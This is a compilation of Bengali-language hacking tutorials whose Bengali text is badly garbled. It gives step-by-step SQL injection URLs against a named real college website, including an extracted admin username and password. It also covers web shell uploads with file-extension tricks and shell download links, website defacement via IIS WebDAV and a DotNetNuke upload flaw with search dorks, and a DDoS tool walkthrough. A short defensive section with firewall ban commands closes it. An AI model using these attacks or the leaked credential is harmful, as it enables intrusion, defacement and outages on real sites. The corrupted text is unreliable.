এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 25: Hacking Bangla eBook

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

